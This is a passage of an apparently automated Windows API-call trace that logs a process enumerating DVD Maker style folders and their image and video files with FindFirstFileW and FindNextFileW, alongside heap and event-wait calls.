hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0237.733] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0237.734] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0237.735] GetProcessHeap () returned 0x560000 [0237.735] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0237.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0237.741] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.741] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0237.741] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0237.742] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.742] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0237.743] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.745] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0237.745] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0237.745] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0237.746] ResetEvent (hEvent=0x118) returned 1 [0237.746] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.038] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0238.039] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0238.039] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0238.039] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0238.039] ResetEvent (hEvent=0x118) returned 1 [0238.040] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0238.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0238.048] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0238.049] ResetEvent (hEvent=0x118) returned 1 [0238.049] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.066] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0238.067] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0238.067] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0238.071] GetProcessHeap () returned 0x560000 [0238.071] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0238.072] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0238.072] GetProcessHeap () returned 0x560000 [0238.072] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0238.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0238.072] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.072] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0238.073] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0238.073] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0238.074] ResetEvent (hEvent=0x118) returned 1 [0238.074] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.083] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0238.083] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0238.084] ResetEvent (hEvent=0x118) returned 1 [0238.084] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.246] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0238.246] ResetEvent (hEvent=0x118) returned 1 [0238.246] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.253] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0238.253] ResetEvent (hEvent=0x118) returned 1 [0238.253] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.259] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0238.259] ResetEvent (hEvent=0x118) returned 1 [0238.259] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.265] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0238.265] ResetEvent (hEvent=0x118) returned 1 [0238.265] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.293] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0238.294] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0238.294] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0238.294] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0238.295] ResetEvent (hEvent=0x118) returned 1 [0238.295] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0238.488] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0238.488] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0238.489] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0238.489] FindNextFileW (in: hFindFile=0x65bc48, 